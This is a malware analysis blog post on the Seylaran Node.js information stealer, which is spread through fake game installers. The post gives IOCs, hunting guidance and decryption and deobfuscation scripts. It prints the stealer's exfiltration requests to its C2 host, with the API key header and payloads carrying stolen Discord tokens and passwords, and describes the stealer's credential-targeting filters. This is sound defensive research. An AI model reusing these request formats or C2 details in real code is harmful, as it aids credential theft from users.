Home Seylaran Information Stealer malware
Post
Cancel

Seylaran Information Stealer malware

Summary

The threat actor lures victims into sites that host what looks like a new game to play or test. The victims download game installers that are infected with information stealing malware. This post walks through one of the infected installers through a game presented on the “Seylaran” domain.

The Seylaran game is a Node.js-based credential and session theft malware that targets Discord users by harvesting account details, session tokens, and related metadata (including billing and MFA status), then exfiltrating the collected data to an attacker-controlled HTTPS endpoint. The malware also contains a generalized information stealing component to target browsers, crypto wallets, Telegram, Yandex, Roblox, and similar credential stores.

This post summarizes observed Seylaran functionality derived from deobfuscated JavaScript from reverse engineering efforts and provides network and host-centric indicators to support incident response, hunting, and containment activities.

Threat Overview

The malware applies URL filters aligned with Discord authentication and session APIs (including Remote Auth WebSocket flows), suggesting an intent to capture login/registration/MFA events and persistent session information for account takeover and fraud.

Seylaran stages data into JSON payloads and transmits them via HTTPS POST requests to a hard-coded collector endpoint. A configurable rate-limit delay is used to throttle transmissions and reduce noisy outbound traffic patterns.


Figure 1: Attack path of Seylaran malware


Infection Path and Malware Hosting

The threat actor creates GitHub Pages sites for many different games that allow you to download the installer that is infected with the information stealer. The site is hosted on GitHub Pages and the installer binaries are hosted on DropBox.


Figure 2: URLScan showing landing pages of game domains


Below is an example path of where one of the installers for a game is located.


Figure 3: Location of a game installer infected with the malware.


Key observed capabilities include

  • Collection of Discord account attributes (username, user ID, avatar, phone, email, MFA enabled).
  • Capture and exfiltration of sensitive secrets (Discord token, passwords, cookies, and other sensitive information when available).
  • Inclusion of system context via local OS username (os.userInfo().username).
  • Filtering of browser/API request URLs associated with Discord auth and MFA flows to selectively capture events.
  • Potential focus on payment-related APIs (Stripe tokens, Braintree PayPal accounts) based on configured URL filters.
  • Exfiltration to an attacker-controlled API endpoint over HTTPS with an API key header.

Detection and Hunting Guidance

Network

  • Prioritize the following telemetry sources:
    • DNS queries and HTTP(S) SNI/TLS inspection for network-sync-protocol[.]net.
    • Proxy logs and EDR network telemetry for outbound HTTPS POST to /api/send on network-sync-protocol[.]net.
    • Header inspection (where available) for:
      • x-api-key: Silentapilolxd123.
      • Content-Type: application/json.
      • User-Agent: axios/1.13.5
    • WebSocket connection attempts to wss://remote-auth-gateway.discord[.]gg/ (especially from non-browser processes).

Host / Endpoint

  • Identify Node.js processes spawning from unusual locations (user profile temp directories, application data, or unpacked archives).
  • Review recently executed JavaScript files and npm artifacts in user-writable directories.
  • Look for persistence mechanisms that launch node with a suspicious script path (login items, scheduled tasks, Run keys, launch agents).
  • Inspect browser extension lists and suspicious Electron/Node applications if a browser-integrated collection component is suspected.

Technical Analysis

General Overview

Once the MSI installer was extracted the main binary Seylaran.exe had the following metadata associated with it.


Figure 4: Seylaran binary metadata


The hash of this binary mapped back to electron.exe and the functionality embedded within the MSI installer was in fact using Electron and Node.JS. Electron is an open-source framework that allows developers to build cross-platform and desktop applications.


Figure 5: VirusTotal showing malware hash also being known as electron.exe


There were two embedded JavaScript files that were at the heart of the malicious software. The rest of the binaries were there to bootstrap the running of them. These obfuscated JavaScript files became the primary focus in the reverse engineering effort.


Figure 6: Two extracted obfuscated JavaScript files (the malicious components)


Discord-injection-obf.js The discord-injection-obj.js script contains a key/iv/salt to perform decryption of a large payload embedded within the script.


Figure 7: Partial deobfuscated JavaScript revealing decryption values


The base64 payload and the encryption details were extracted out to perform a manual decryption using a custom written Python3 script (script can be found in the “Scripts” section at the bottom of the report).

KeyValue
Encryption_keyt3g14lkQQ7yiYGB4P7TXW0ag+X/+BS79
IVzvdDl4sUdlUlMB1jcWinRg==
Salt8WQ84COYNnghBOwU8awwlQ==

Post decryption results in more obfuscated JavaScript but allows us to ultimately resolve the malware config section that drives the rest of its behavior.


Figure 8: Successful malware config discovered


BEHAVIORAL NOTE: The malware will scan for all open windows to locate the Discord application. If it does not find it, it will silently exit and will not continue. During the analysis I installed Discord to the malware VM and created a temporary account to allow the malware to progress as I debugged through it.

Obfuscation and String Resolution

The sample uses an index-mapping table (__p_5833160344) returned by a function (__p_5091500320) to store strings, numbers, and tokens. Numerous helper functions (__JS_PREDICT__) compute indices into this table using arithmetic expressions and redundant conditional branches. This pattern is intended to hinder static analysis and simple string searches.

Rate-limited Exfiltration

Exfiltration is performed through a sendWithRateLimit(url, headers, data) wrapper. The function compares the current time (Date.now()) to a lastSendTime value and sleeps if the elapsed time is less than CONFIG.rate_limit_delay (2,000 ms in the provided config). This throttling reduces bursty outbound activity and may evade basic threshold-based alerts.

Exfiltration Endpoint and Request Shape

The configured collector URL is https://network-sync-protocol[.]net/api/send. Data is POSTed as JSON with the following headers:

  • Content-Type: application/json
  • x-api-key: Silentapilolxd123.

Payload Construction

The malware builds one or more payload formats. A lightweight apiPayload includes a static userKey and optional metadata (avatar_url, username, embeds). A richer Discord-style embed payload can include the harvested token, account properties, IP address, billing status, and password when available.

Filters and Targeted Collection

Two URL filter sets are defined. The first focuses on Discord authentication and account endpoints (/auth/login, /auth/register, /mfa/totp, /mfa/codes-verification, /users/@me). The second includes patterns for Remote Auth WebSocket connectivity and Discord auth session endpoints across multiple hostnames and API versions. An additional payment_filters set targets Stripe tokenization and Braintree PayPal account endpoints, which may be associated with payment method addition or validation workflows.

Data Elements Observed in Exfil

Observed fields include, but are not limited to:

  • Discord token (captured and included in an embed description).
  • Account ID, username, avatar, phone, email.
  • MFA enabled status (Yes/No).
  • Billing summary string and badge string (where collected).
  • External IP address (variable ‘ip’ used in the embed field list).
  • Local OS username via os.userInfo().username.

Example Exfiltration

The examples below illustrate likely JSON bodies and raw HTTP request structure using the real collector URL and header values. All field values are synthetic.

Example 1 – apiPayload JSON

1
2
3
4
5
6
{
  userKey: CUSTOM-44736DBEC1E9B33B98803292699C82DB,
  avatar_url: https://cdn.discordapp.com/embed/avatars/0.png,
  username: Silent,
  embeds: []
}

Example 2 – Embed Payload JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
  avatar_url: https://cdn.discordapp.com/embed/avatars/0.png,
  username: Silent,
  embeds: [
    {
      color: 1,
      author: {
        name: SILENT SomeUser | john (Discord),
        icon_url: https://cdn.discordapp.com/avatars/123456789012345678/abcdef0123456789abcdef0123456789?size128"
      },
      “description”: “<a:90959battrio:1441505242842923119> **User login:**\n```mfa.xxxxx.yyyyy.zzzzz```”,
      “thumbnail”: {
        “url”: “https://cdn.discordapp.com/avatars/123456789012345678/abcdef0123456789abcdef0123456789?size=4096"
      },
      fields: [
        { name: <:44216vipremovebgpreview5:1441814921913434203> Badges:, value: `No Badges`, inline: true },
        { name: <:74424partnerremovebgpreviewremov:1441811707776471211> Phone:, value: `+1 503-555-0134`, inline: true },
        { name: <a:08_kys:1441809361830805706> Billing:, value: `No Billing`, inline: true },
        { name: <a:6601blackworld:1440071076070686760> IP:, value: `203.0.113.42`, inline: true },
        { name: <:Gemini_Generated_Image_pzmi6mpzm:1441807834525208588> Email:, value: `user@example.com`, inline: true },
        { name: <:9779black:1467305111008186409> 2FA:, value: `Yes`, inline: true },
        { name: <:5923key:1467305747774836808> Password:, value: ```correct-horse-battery-staple```, inline: false }
      ],
      footer: { text: @MainSilent, icon_url: https://cdn.discordapp.com/embed/avatars/0.png },
      timestamp: 2026-02-11T12:34:56.000Z
    }
  ]
}

Example 3 – Raw HTTP Over-the-Wire (/api/send)

1
2
3
4
5
6
7
8
POST /api/send HTTP/1.1
Host: network-sync-protocol.net
User-Agent: node
Content-Type: application/json
x-api-key: Silentapilolxd123.
Content-Length: 662

{userKey:CUSTOM-44736DBEC1E9B33B98803292699C82DB,avatar_url:https://cdn.discordapp.com/embed/avatars/0.png,username:Silent,embeds:[{color:1,author:{name:SILENT SomeUser | john (Discord),icon_url:https://cdn.discordapp.com/avatars/123456789012345678/abcdef0123456789abcdef0123456789?size=128"},"description":"<a:90959battrio:1441505242842923119> **User login:**\n```mfa.xxxxx.yyyyy.zzzzz```,thumbnail:{url:https://cdn.discordapp.com/avatars/24567890135678/acef01235679abcdf01345678”?sze=49"},"fields":[...],"footer":{"text:@MainSilent,icon_url:https://cdn.discordapp.com/embed/avatars/0.png},timestamp:"2026-02-11T12:34:56.000Z”}]}

Example 4 – Raw HTTP Over-the-Wire (/api/screen)

1
2
3
4
5
6
7
8
9
10
11
POST /api/screen HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json
x-api-key: test_api_key_12345
User-Agent: axios/1.13.5
Content-Length: 298
Accept-Encoding: gzip, compress, deflate, br
Host: sysmaintenancerequest.onrender.com
Connection: keep-alive

{hwid:DESKTOP-U8I4517,user:Jack Simpson,image:data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==,location:{country:Unknown,city:Unknown,countryCode:XX},userKey:CUSTOM-44736DBEC1E9B33B98803292699C82DB}

Example 5 – A real example of an intercepted message attempted to be sent to the C2 panel

This was intercepted in the malware lab from a live detonation on a VM. The message was captured by FakeNET that emulates responses to simulate real network connectivity.

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/send HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json
x-api-key: Silentapilolxd123.
User-Agent: axios/1.13.5
Content-Length: 1378
Accept-Encoding: gzip, compress, deflate, br
Host: network-sync-protocol.net
Connection: keep-alive


{userKey:CUSTOM-44736DBEC1E9B33B98803292699C82DB,avatar_url:https://cdn.discordapp.com/attachments/1353425801646706831/1439024605892317234/IMG_20251114_234935_287.jpg?ex=69190399&is=6917b219&hm=6af713a4f557f297bc9226d3a556e2cbdb46da0fd57216b9c3e7efc1611de870&,username:Silent,embeds:[{title:<:1480sparklehearts:1440072259275325541> New Victim Connected,color:0,fields:[{name:<:2529memberwhite:1440071850657845433> User,value:`John Doe`,inline:true},{name:<:18988monocrt:1456077308229320714> HWID,value:`DESKTOP-U8I4517`,inline:true},{name:””,value:””,inline:false},{name:<a:6601blackworld:1440071076070686760> IP,value:`Unknown`,inline:true},{name:<:4014location:1456077325258068082> Location,value:”🏳️ Unknown, Unknown,inline:true},{name:””,value:””,inline:false},{name:<:49457ticket:1441504940374884584> Panel Access,value:[Click here to view](https://ilovesilent.onrender.com/?key=CUSTOM-44736DBEC1E9B33B98803292699C82DB),inline:false}],thumbnail:{url:https://cdn.discordapp.com/attachments/1353425801646706831/1439024605892317234/IMG_20251114_234935_287.jpg?ex=6957a2d9&is=69565159&hm=40a16a0fd0ac9c75f49966809051f810242055db67a0e72f326fa6d8651ce5ab&},timestamp:2026-02-12T07:30:33.950Z,footer:{text:Panel Notification System  02/11/2026, 11:30 PM}}]}

crypted.js A second obfuscated JavaScript file is also executed. While the previous script was specific to Discord, this one is a more general information stealer that collects a wide variety of credentials from Discord, browsers, crypto wallets, Telegram, Yandex, Roblox, among others.

I was able to intercept debugging logs from the malware to show some of the locations the extractions take place.

Discord credential extractions


Figure 9: Crypted.js output during credential theft operations for Discord


Browser credential extractions


Figure 10: Crypted.js output during credential theft operations for Browsers


Roblox cookie extractions


Figure 11: Crypted.js output during credential theft operations for Roblox


When the extractions are complete, a notification to the threat actors C2 panel is attempted to inform them that a “New Victim Connected”.


Figure 12: Crypted.js output during reporting to C2 panel phase


Indicators of Compromise

Indicators listed here are extracted directly from the decrypted configuration and deobfuscated JavaScript of one of the malware samples.

CategoryIndicatorValue / PatternNotes
Network - ExfilCollector URLhttps://network-sync-protocol.net/api/sendPrimary exfiltration endpoint (HTTPS POST).
Network - DomainCollector Domainnetwork-sync-protocol.netAlert on outbound connections / DNS lookups.
Network - HeaderAPI Key Headerx-api-key: Silentapilolxd123.Static header value in sample config.
Network - HeaderContent-TypeContent-Type: application/jsonJSON body transmission.
Network - HeaderUser-Agentaxios/1.13.5Used as the User-Agent value in POST’s
Host - KeyUser Key (static)CUSTOM-44736DBEC1E9B33B98803292699C82DBSent as apiPayload.userKey.
Hunting - URL FilterDiscord login/register/MFA/auth/login; /auth/register; /mfa/totp; /mfa/codes-verification; /users/@mePaths used to decide which requests/events to capture.
Hunting - URL FilterRemote Auth WebSocketwss://remote-auth-gateway.discord.gg/*Associated with Discord remote auth flows.
Hunting - URL FilterDiscord auth sessions (patterns)https://discord.com/api/v*/auth/sessions; https://*.discord.com/api/v*/auth/sessions; https://discordapp.com/api/v*/auth/sessionsWildcard version and hostname patterns.
Hunting - URL FilterPayment APIshttps://api.stripe.com/v*/tokens; https://api.braintreegateway.com/.../paypal_accountsSuggests theft of payment method tokens / account artifacts.
Host - File/ProcessNode.js runtimenode.exe / node (varies by OS)Malware is JavaScript executed under Node.js.
Seylaran-Setup-1.0.0.exeMalware Binary Hashes

4f5fd97046e48031a8c4e62d0448296e

ceb689f28236dbccad4967d8661686b5

2b8c466600045aad31c2f9fba76e1ff1

2250359c08fa5210695ddc8eee50c09e

91715d0f3c8b036f514eca1377be59f9

Hashes of similar binaries
Seylaran-Setup-1.2.6.msiMalware Binary Hashes

eef735f6b3ccb8ec6c7a70259e47d9ef

d86a071235a272bd95701d47c72edbd9

b5df624b96f005d8c7fe26d743bd9c16

67c6ee80e20fd38480dfb9eb8b4d4adf

1921f9210611c95d352f47f4ec5ca691

Hashes of similar binaries
GitHub Pages DomainsDomains hosting infected game installers

Seylaran[.]com
hoyavor[.]com
leynara[.]com
malyonar[.]com
klozerus[.]com
zelyanor[.]com
velazos[.]com
velzarus[.]com
velyonar[.]com
fallikstudios.github[.]io
velyanor[.]com
velroyth[.]com
eloryth[.]com

The malware is embedded into fake game installers. The sites here were used to present it as a real game to download.

Scripts

The following scripts were written during the reverse engineering of this malware.

decrypt_payload.py – This script will decrypt the embedded base64 payload found in discord-injection-obf.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
"""
This script:
* Decodes base64/base64url safely
* Tries common PBKDF2 digest+iteration combos
* Decrypts AES-256-CBC with PKCS#7 unpadding
* Writes decrypted.bin on success
* Writes raw_decrypted.bin if nothing works (to inspect “almost right” output)

Requires:
  pip install cryptography
"""

import base64
import hashlib

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

master_b64 = "t3g14lkQQ7yiYGB4P7TXW0ag+X/+BS79"
salt_b64   = "8WQ84COYNnghBOwU8awwlQ=="
iv_b64     = "zvdDl4sUdlUlMB1jcWinRg=="
ct_b64     = "<base64_payload_removed_due_to_size>"

def b64d(s):
  """
  Base64 decode that also handles base64url and missing '=' padding.
  """
  s = (s or "").strip()
  s = s.replace("-", "+").replace("_", "/")
  s += "=" * ((4 - (len(s) % 4)) % 4)
  return base64.b64decode(s)

def derive_key_pbkdf2(master, salt, iters, digest):
  digest = digest.lower()
  if digest not in hashlib.algorithms_available:
    raise ValueError("Unsupported digest for PBKDF2: %s" % digest)
  return hashlib.pbkdf2_hmac(digest, master, salt, iters, dklen=32)

def aes_256_cbc_decrypt_pkcs7(key, iv, ciphertext):
  """
  AES-256-CBC decrypt + PKCS#7 unpad.
  Raises ValueError on invalid padding.
  """
  if len(key) != 32:
    raise ValueError("AES-256 key must be 32 bytes, got %d" % len(key))
  if len(iv) != 16:
    raise ValueError("AES-CBC IV must be 16 bytes, got %d" % len(iv))
  if len(ciphertext) % 16 != 0:
    raise ValueError("Ciphertext length must be multiple of 16 for CBC, got %d" % len(ciphertext))

  cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
  decryptor = cipher.decryptor()
  padded = decryptor.update(ciphertext) + decryptor.finalize()

  unpadder = padding.PKCS7(128).unpadder()
  return unpadder.update(padded) + unpadder.finalize()

def aes_256_cbc_decrypt_raw(key, iv, ciphertext):
  """
  AES-256-CBC decrypt WITHOUT unpadding (for diagnostics).
  """
  cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
  decryptor = cipher.decryptor()
  return decryptor.update(ciphertext) + decryptor.finalize()

def main():
  # Decode inputs (supports base64url too)
  master_dec = b64d(master_b64)
  salt = b64d(salt_b64) if salt_b64 else b""
  iv = b64d(iv_b64)
  ct = b64d(ct_b64)

  print("[sizes] master_dec:", len(master_dec), "salt:", len(salt), "iv:", len(iv), "ct:", len(ct))
  print("[check] ct % 16 =", (len(ct) % 16))

  # Try both common interpretations:
  # A) master is decoded bytes (master_dec)
  # B) master is the literal base64 string bytes (master_b64.encode)
  master_variants = [
    ("master=base64_decoded_bytes", master_dec),
    ("master=literal_base64_text_bytes", master_b64.strip().encode("utf-8")),
  ]

  # Common PBKDF2 parameter candidates
  candidates = [
    ("sha1",   1000), ("sha1",   10000), ("sha1",   100000),
    ("sha256", 1000), ("sha256", 10000), ("sha256", 100000),
    ("sha512", 1000), ("sha512", 10000), ("sha512", 100000),
  ]

  for master_label, master in master_variants:
    print("\n[try] master variant:", master_label)

    for digest, iters in candidates:
      try:
        key = derive_key_pbkdf2(master, salt, iters, digest)
        pt = aes_256_cbc_decrypt_pkcs7(key, iv, ct)

        print("SUCCESS")
        print("   master:", master_label)
        print("   digest:", digest, "iters:", iters)
        print("   key_hex:", key.hex())
        print("   plaintext_len:", len(pt))
        print("   plaintext_head_utf8:", pt[:300].decode("utf-8", errors="replace"))
        print("   plaintext_head_hex :", pt[:64].hex())

        with open("decrypted.bin", "wb") as f:
          f.write(pt)
        print("wrote decrypted.bin")
        return

      except ValueError:
        continue

  print("\n No candidate worked.")
  print("Writing raw_decrypted.bin for manual inspection (first variant, first candidate).")

  # Diagnostic dump
  master = master_dec
  digest, iters = "sha256", 100000
  key = derive_key_pbkdf2(master, salt, iters, digest)
  raw = aes_256_cbc_decrypt_raw(key, iv, ct)

  with open("raw_decrypted.bin", "wb") as f:
    f.write(raw)

  print("wrote raw_decrypted.bin")
  print("raw head utf8:", raw[:200].decode("utf-8", errors="replace"))
  print("raw tail hex :", raw[-64:].hex())

if __name__ == "__main__":
  main()

deob_table_resolve.py – This script will use the mapping table found in the decrypted payload from the previous script to help resolve strings for clarity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
#!/usr/bin/env python3
import re
import sys
import math
from typing import Any, Dict, Callable, List, Tuple

def js_escape_string(s: str) -> str:
    # Single-quote JS strings, escape backslash and single quote and newlines
    s = s.replace("\\", "\\\\").replace("'", "\\'")
    s = s.replace("\r", "\\r").replace("\n", "\\n")
    return f"'{s}'"

def to_js_literal(v: Any) -> str:
    if isinstance(v, str):
        return js_escape_string(v)
    if v is True:
        return "true"
    if v is False:
        return "false"
    if v is None:
        return "null"
    # sentinel for JS undefined
    if v is _JS_UNDEFINED:
        return "undefined"
    if isinstance(v, float) and math.isnan(v):
        return "NaN"
    # ints / floats
    return str(v)

class _UndefinedType:
    pass

_JS_UNDEFINED = _UndefinedType()

# -----------------------------
# Parse the JS table array
# -----------------------------

def extract_table(js: str) -> List[Any]:
    """
    Finds: function __p_5091500320() { return [ ... ] }
    Extracts the [...] and parses it into python values.
    """
    m = re.search(r"function\s+__p_5091500320\s*\(\)\s*\{\s*return\s*\[", js)
    if not m:
        raise RuntimeError("Could not find function __p_5091500320() return [ ... ]")

    start = m.end() - 1  # points at '['
    # Find matching closing bracket for this array
    depth = 0
    end = None
    for i in range(start, len(js)):
        ch = js[i]
        if ch == "[":
            depth += 1
        elif ch == "]":
            depth -= 1
            if depth == 0:
                end = i
                break
    if end is None:
        raise RuntimeError("Could not find end of table array (missing ']')")

    arr_text = js[start:end+1]

    # Convert the JS array literal into something python can parse safely.
    # We will do a controlled tokenization rather than eval.
    return parse_js_array(arr_text)

def parse_js_array(arr_text: str) -> List[Any]:
    """
    Minimal JS array parser for values found in our sample:
    * strings in single quotes
    * integers
    * true/false/null/undefined/NaN
    """
    assert arr_text[0] == "[" and arr_text[-1] == "]"
    s = arr_text[1:-1].strip()

    items = []
    i = 0
    n = len(s)

    def skip_ws(idx: int) -> int:
        while idx < n and s[idx].isspace():
            idx += 1
        return idx

    while True:
        i = skip_ws(i)
        if i >= n:
            break

        # String
        if s[i] == "'":
            i += 1
            out = []
            while i < n:
                ch = s[i]
                if ch == "\\":
                    if i+1 < n:
                        out.append(s[i+1])
                        i += 2
                        continue
                if ch == "'":
                    i += 1
                    break
                out.append(ch)
                i += 1
            items.append("".join(out))
        else:
            # token until comma
            j = i
            while j < n and s[j] != ",":
                j += 1
            token = s[i:j].strip()
            if token == "true":
                items.append(True)
            elif token == "false":
                items.append(False)
            elif token == "null":
                items.append(None)
            elif token == "undefined":
                items.append(_JS_UNDEFINED)
            elif token == "NaN":
                items.append(float("nan"))
            else:
                # number
                # allow negative and decimals
                if re.fullmatch(r"-?\d+", token):
                    items.append(int(token))
                elif re.fullmatch(r"-?\d+\.\d+", token):
                    items.append(float(token))
                else:
                    # If something odd appears, keep as raw token to avoid crashing
                    items.append(token)

            i = j

        i = skip_ws(i)
        if i < n and s[i] == ",":
            i += 1
            continue
        else:
            # end
            break

    return items

# -----------------------------
# Ternary parsing: JS ?: -> Python expr
# -----------------------------

def js_ternary_to_python(expr: str) -> str:
    """
    Convert a JS ternary expression into a Python conditional expression.
    Example:
      a < 0 ? a + 1 : a - 2
    becomes:
      (a + 1) if (a < 0) else (a - 2)

    This is a minimal parser that supports nesting.
    """
    expr = expr.strip()

    def find_top_level_qmark(s: str) -> int:
        depth = 0
        for idx, ch in enumerate(s):
            if ch in "([{":
                depth += 1
            elif ch in ")]}":
                depth -= 1
            elif ch == "?" and depth == 0:
                return idx
        return -1

    def find_matching_colon(s: str, qpos: int) -> int:
        depth = 0
        nested_ternary = 0
        for idx in range(qpos + 1, len(s)):
            ch = s[idx]
            if ch in "([{":
                depth += 1
            elif ch in ")]}":
                depth -= 1
            elif ch == "?" and depth == 0:
                nested_ternary += 1
            elif ch == ":" and depth == 0:
                if nested_ternary == 0:
                    return idx
                nested_ternary -= 1
        return -1

    qpos = find_top_level_qmark(expr)
    if qpos == -1:
        return expr

    cpos = find_matching_colon(expr, qpos)
    if cpos == -1:
        # can't parse; return unchanged
        return expr

    cond = expr[:qpos].strip()
    tpart = expr[qpos+1:cpos].strip()
    fpart = expr[cpos+1:].strip()

    cond_py = js_ternary_to_python(cond)
    t_py = js_ternary_to_python(tpart)
    f_py = js_ternary_to_python(fpart)

    return f"({t_py}) if ({cond_py}) else ({f_py})"

# -----------------------------
# Extract mapping functions
# -----------------------------

def extract_index_exprs(js: str) -> Dict[str, str]:
    """
    Finds mapping functions of the form:

    function NAME(index_param) {
      return __p_5833160344[
        <expr using index_param with ?: and arithmetic>
      ]
    }

    Returns: { NAME: <expr> }
    """
    out: Dict[str, str] = {}

    # Non-greedy capture between '[' and ']' inside the return table lookup.
    # This is purposely narrow for our patterns.
    pattern = re.compile(
        r"function\s+(__p_\d+(?:_dLR_\d+__JS_PREDICT__|_dLR_\d+__JS_PREDICT__|__JS_PREDICT__|__JS_CRITICAL__|_calc|)?)\s*"
        r"\(\s*index_param\s*\)\s*\{\s*return\s+__p_5833160344\s*\[\s*(.*?)\s*\]\s*\}",
        re.DOTALL
    )

    for m in pattern.finditer(js):
        name = m.group(1)
        expr = m.group(2)

        # normalize whitespace
        expr = re.sub(r"\s+", " ", expr).strip()
        out[name] = expr

    return out

def build_index_function(expr_js: str) -> Callable[[int], int]:
    """
    Takes the JS expression that evaluates to an integer index (before table lookup),
    converts ternaries to python, and returns a callable index_fn(x)->idx.
    """
    # Convert JS to python:
    expr = expr_js
    # replace index_param with x
    expr = re.sub(r"\bindex_param\b", "x", expr)
    # replace JS operators/keywords where needed
    expr = expr.replace("&&", " and ").replace("||", " or ")
    # JS uses "!" but in these index expressions it usually doesn't appear
    # Convert ternary to python:
    expr = js_ternary_to_python(expr)

    # Some samples contain "- -NN" patterns; python accepts that, but we'll normalize anyway
    expr = expr.replace("- -", "+ ")

    def idx_fn(x: int) -> int:
        # Evaluate in a very restricted environment.
        # Only arithmetic/comparisons should exist.
        return int(eval(expr, {"__builtins__": {}}, {"x": x}))

    return idx_fn

# -----------------------------
# Replacement engine
# -----------------------------

def resolve_calls(js: str, table: List[Any], idx_fns: Dict[str, Callable[[int], int]]) -> str:
    """
    Replace occurrences of NAME(NUMBER) where NAME is one of idx_fns keys.
    """

    # Build one regex that matches any of the mapper names
    # Sort by length desc so longer names match first in alternation
    names = sorted(idx_fns.keys(), key=len, reverse=True)
    if not names:
        return js

    name_alt = "|".join(re.escape(n) for n in names)

    # match NAME( 123 ) or NAME(-65)
    call_re = re.compile(rf"\b({name_alt})\s*\(\s*(-?\d+)\s*\)")

    def repl(m: re.Match) -> str:
        fname = m.group(1)
        num = int(m.group(2))
        try:
            idx = idx_fns[fname](num)
            if idx < 0 or idx >= len(table):
                return m.group(0)  # leave unchanged if out of range
            val = table[idx]
            return to_js_literal(val)
        except Exception:
            return m.group(0)

    # Do multiple passes because replacements can expose more patterns
    prev = None
    cur = js
    for _ in range(5):
        prev = cur
        cur = call_re.sub(repl, cur)
        if cur == prev:
            break
    return cur

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 deob_table_resolve.py <input.js> [output.js]")
        sys.exit(1)

    in_path = sys.argv[1]
    out_path = sys.argv[2] if len(sys.argv) >= 3 else (in_path + ".resolved.js")

    with open(in_path, "r", encoding="utf-8", errors="replace") as f:
        js = f.read()

    table = extract_table(js)

    idx_exprs = extract_index_exprs(js)
    if not idx_exprs:
        print("[!] No mapping functions found that match the expected pattern.")
        print("    The script will still output the file unchanged.")
        with open(out_path, "w", encoding="utf-8") as f:
            f.write(js)
        print(f"[+] Wrote: {out_path}")
        return

    idx_fns: Dict[str, Callable[[int], int]] = {}
    for name, expr in idx_exprs.items():
        # Only keep functions that clearly use index_param and arithmetic / ternaries
        if "index_param" not in expr:
            continue
        try:
            idx_fns[name] = build_index_function(expr)
        except Exception:
            # skip ones we can't parse
            continue

    print(f"[+] Table length: {len(table)}")
    print(f"[+] Mapping functions parsed: {len(idx_fns)}")

    resolved = resolve_calls(js, table, idx_fns)

    with open(out_path, "w", encoding="utf-8") as f:
        f.write(resolved)

    print(f"[+] Wrote: {out_path}")

if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.